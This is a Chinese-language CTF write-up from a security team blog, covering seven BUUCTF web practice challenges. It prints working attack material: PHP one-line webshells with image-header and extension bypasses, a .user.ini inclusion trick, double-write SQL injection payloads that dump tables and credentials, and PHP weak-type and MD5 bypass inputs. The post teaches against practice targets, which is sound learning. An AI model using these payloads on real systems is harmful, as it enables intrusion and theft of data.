BUUCTF-Web_第一页_WP总结笔记(中)

BUUCTF-page_1 总结(中:13-19)

---钦原.2021-5月末

总目录整理:

文件包含类:

 

1: HCTF-warmup-2018:php(审计文件包含)

4.[ACTF2020 新生赛]Include

5.[极客大挑战 2019]Secret File

 

SQL注入类:

2.Web-强网杯sql随便注:

3.[SUCTF 2019]EasySQL

6.[极客大挑战 2019]LoveSQL

15.[极客大挑战 2019]BabySQL

21.[极客大挑战 2019]HardSQL

25.[GYCTF2020]Blacklist

22.[CISCN2019 华北赛区 Day2 Web1]Hack World

26.[GXYCTF2019]BabySQli

 

命令执行类:

7.[ACTF2020 新生赛]Exec

8.[GXYCTF2019]Ping Ping Ping

 

框架特性利用类:

9.[护网杯 2018]easy_tornado

php解析特性绕过利用类:

10.[RoarCTF 2019]Easy Calc

 

HTTP请求头等基础题类:

11.[极客大挑战 2019]Http

17.[极客大挑战 2019]BuyFlag(考察逻辑漏洞-特定身份登录+php弱类型+post传参)

16.[ACTF2020 新生赛]BackupFilephp弱类型比较)

18.[BJDCTF2020]Easy MD5

24.[MRCTF2020]Ez_bypass(弱类型)

 

审计-反序列化类:

12.[极客大挑战 2019]PHP--->  php-serialize()反序列化

20.[ZJCTF 2019]NiZhuanSiWei

31.[网鼎杯 2020 青龙组]AreUSerialz

27.[网鼎杯 2018]Fakebook  sql+反序列化+ssrf

28.[网鼎杯 2020 青龙组]AreUSerialz

 

文件上传类:

13.[极客大挑战 2019]Upload

14.[ACTF2020 新生赛]Upload

19.[SUCTF 2019]CheckIn

23.[MRCTF2020]你传你马呢?

--------------------------------------------------------------------------------------------------------------------------------------------------------

13.[极客大挑战 2019]Upload

l 考点:文件上传及其绕过

l 思路:裸马测试逐渐分析检测规则并绕过

l 涉及知识点:见文

l 具体做法

 

打开环境是一个上传图片的页面

1:先直接上传没有任何绕过的php马(后文统称:裸马)<?php eval($_POST['jazz'])?>


 

提示说不是图片,需要抓包改文件格式。将Content-Type里面的格式改为image/jpeg

提示后缀违规:尝试常见绕过后缀,发现phtml可以。

改为phtml后:发现提示一句话中带  <?  都不行

故切换一句话木马:
GIF89a? <script language="php">eval($_REQUEST[jazz])</script>

知识点:文件内容头校验(GIF89a

文件头校验
判断文件头内容是否符合要求,这里举几个常见的文件头对应关系:
1.JPEG;.JPE;.JPG,”JPGGraphic File
2.gif,”GIF 89A
3.zip,”Zip Compressed
4.doc;.xls;.xlt;.ppt;.apr,”MS Compound Document v1 or Lotus Approach APRfile

上传抓包:
    1:绕过文件头检验  :GIF89a?

  2:绕过<?检验  :<script language="php">eval($_REQUEST[jazz])</script>

  3:绕过文件类型检验  :更改Content-Type: image/jpeg


 


 


 


 

根目录中即可见flag

 

 

14.[ACTF2020 新生赛]Upload

打开页面上传裸马发现  前端验证后缀:


 

选择绕过前端验证思路:

F12删除js中的对应检测代码(如:事件):

F12得:

删除onsubmit事件对应代码块

裸马被拦截:


 

尝试用不同后缀上传,发现phtml可以

故:

1. 删除js检测事件

2. 上传phtml得一句话


 

菜刀链接即可:


 

*又在index.php发现了文件后缀的具体过滤规则:*


 

15.[极客大挑战 2019]BabySQL

单引号闭合

过滤了 andselectorfromunion where

大小写无法绕过

内部双写可以

payload:

'uniunionon selselectect 1,2,3#

则:回显可能在23


 

'uniunionon selselectect 1,database(),3#


 

坑巨多

'uniunionon selselectect 1,(selselectect group_concat(table_name) frfromom infoorrmation_schema.tables wwherehere table_schema=database()),3#

此处发现同时过滤where,且字符中出现的黑名单字符同样需要双写绕过!!


 

'uniunionon selselectect 1,(selselectect group_concat(column_name) frfromom infoorrmation_schema.columns wwherehere table_name='b4bsql'),3#


 

'uniunionon selselectect 1,(selselectect group_concat(username) frfromom b4bsql),3 #

必须用group_concat输出,不然提示超过一行无法输出


 

'uniunionon selselectect 1,(selselectect group_concat(passwoorrd) frfromom b4bsql),3 #


 

16.[ACTF2020 新生赛]BackupFile


 

常见的备份文件后缀名有 .git .svn .swp .~ .bak .bash_history
于是用dirsearch扫描目录
看到bak的后缀(或者一个一个试一试)

/index.php.bak  下载打开


 

Getkey值为$str即可,而$strintval函数处理后的字符串

考察点:1.intval()   2.弱类型

简单的弱类型绕过

php中两个等于号是弱等于

str123key进行比较,(弱比较:如果比较一个数字和字符串或者比较涉及到数字内容的字符串,则字符串会被转换成数值并且比较按照数值来进行,在比较时该字符串的开始部分决定了它的值,如果该字符串以合法的数值开始,则使用该数值,否则其值为0。所以直接传入key=123就行)

Over即可看到flag  额外学习:弱类型:https://www.cnblogs.com/Mrsm1th/p/6745532.html

17.[极客大挑战 2019]BuyFlag

首先打开页面,查看源码:
无发现。

进入菜单。看到payflag,进去


 

审查本页源码发现:

根据到此知道:

1.

特定身份登陆,待测试

2.

post提交moneypassword。而password不能是数字,但必须等于404。猜测考查弱类型。

(建议hackbar+f12

先解决身份:
可以通过burp抓包修改cookieuser的值0-->1  f12在存储里面把user改为1后发现成功验证(推荐f12


 


 

下面继续密码验证:
弱类型中:
  ’’== 0 == false

123 == 123

abc == 0

0x01 == 1

123a == 123


 

然后继续输入money,看好像是100000000


 

money值太长?这里应该是对字符进行了判断,当前PHP版本为PHP/5.3.3,对字符处理的函数在PHP漏洞中非常常见,使用数组进行传参发现即可跳过判断   password=404a&money[]=1


 

或科学计数法传参:password=404a&money=1e32

18.[BJDCTF2020]Easy MD5

首页就这


 

提交的是get-->password,后来抓包


 

Ffifdyop  md5-->  'or'6?]?é!r,ùíb   可以闭合!(无语)


 

所以传参/levels91.php?a[]=1&b[]=2


 

新页面,但方式一样


 

Over

19.[SUCTF 2019]CheckIn

首先打开


 

又是上传

先上传一个裸马测试拦截规则:
 

提示非法后缀

那改成phtml等试试:也是非法后缀,看来后缀这里类似白名单处理了

单从后缀角度,尝试jpg(图片马):


上传发现拦截:
    

提示说明:不但检测了后缀,还检测了文件内容,发现含有 <? 检测。

尝试构造一个,js写入php的图片马:


 


提示使用了exif_imagetype函数

exif_imagetype() 读取一个图像的第一个字节并检查其签名(就是内容头检测)

老规矩:加上GIF89a


在上传一次:

发现上传成功且显示路径,但问题是,jpg文件,我们后缀被卡死jpg,改不了php,怎么用php解析?

所以考虑文件包含,除了平时多说的  .htaccess  绕过,还有一个可使用范围更广的  .user.ini

https://wooyun.js.org/drops/user.ini%E6%96%87%E4%BB%B6%E6%9E%84%E6%88%90%E7%9A%84PHP%E5%90%8E%E9%97%A8.html

Ok,总结一下就是:

.user.ini 你改过以后,可以让你用目录里存在的正常php文件,包含任何格式的文件,去用php解析

那么很好办了,先上传ini文件,但你不要忽略也是需要文件内容头绕过:


 

上传


 

然后抓紧时间上传buuctf.jpg ( 内容头绕过+js写马+图片马jpg后缀  的buuctf.jpg)


 

http://6f4b7725-736d-4375-a688-c10f38c6bfd6.node3.buuoj.cn/uploads/c679f3575727dbf413989215c735dead/index.php


 


 

蚁剑连,根目录flag over    上传好文:https://blog.csdn.net/weixin_39190897/article/details/85334893



本篇为(中:13-19),陆续发后面的,新手入门文章,大佬勿喷,本人菜鸟---钦原



来源链接:
本博客所有文章如无特别注明均为原创。作者:渊龙Sec团队复制或转载请以超链接形式注明转自 渊龙Sec安全团队博客
原文地址《BUUCTF-Web_第一页_WP总结笔记(中)
分享到:更多

相关推荐

发表评论

路人甲 表情
看不清楚?点图切换 Ctrl+Enter快速提交

网友评论(0)